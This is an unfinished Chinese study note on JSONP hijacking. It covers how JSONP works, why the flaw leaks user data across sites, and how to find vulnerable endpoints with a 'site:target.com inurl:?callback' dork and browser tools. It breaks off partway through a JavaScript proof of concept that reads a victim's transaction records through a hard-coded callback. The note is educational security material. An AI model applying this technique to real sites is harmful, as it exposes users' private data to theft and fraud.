参考文章
- 轻松搞定JSONP跨域请求
- jsonp跨域原理,使用以及同源策略
- 跨域漏洞丨JSONP和CORS跨域资源共享
- Tag:
- Ref: [[019.同源策略]]
本片文章仅供学习使用,切勿触犯法律!
未写完,待补充
概述
总结
一、漏洞介绍
JSONP介绍
JSONP 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写。
JSONP是一种利用HTML中<script></script>
元素标签,远程调用json文件来实现数据传递的技术,它的特点是可以跨域读取数据。请求动态生成的JS脚本同时带一个callback函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
存在的意义是绕过诸如同源策略强制执行XMLHttpRequest(AJAX requests)。
实现原理:
流程图:
二、漏洞原理
JSONP劫持,实质上算是一种读类型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。
三、漏洞危害
- 获取用户在其他网站的敏感信息。(可用于精准诈骗)
四、利用前提
存在JSONP劫持漏洞的接口。
五、挖掘利用
1、回调函数在响应中进行了硬编码
1.描述
回调函数在响应中进行了硬编码。
2.挖掘
- 寻找script类型的并且包含jsonp特征的资源
- 谷歌语法:
site:target.com inurl:?callback
- 浏览器-开发者工具-网络-搜索关键词(json / jsonp / callback)
- 检查响应有无敏感信息
如:
callback({
'name':'jack'
})
- 检查Referer检验情况
3.利用
a.基础函数调用
myCallback回调函数在响应中进行了硬编码,并以JSON格式的数据进行包装:
![[Pasted image 20210305175213.png]]
可以通过定义myCallback函数,之后再script标签中引用该api进行简单的利用:
<script type="text/javascript">
function myCallback(data){
var transactions = data.transactions.length;
for (var i = 0; i < transactions; i++){
document.write('the victim <b>' + data.transactions[i].from + '</b> sent <b>' + data.transactions[i].amount + ' ' + data.transactions[i].currensy + '</b> to <b>' + data.transactions[i].to + '</b><br/>');
}
}
</script>
<script src='http://....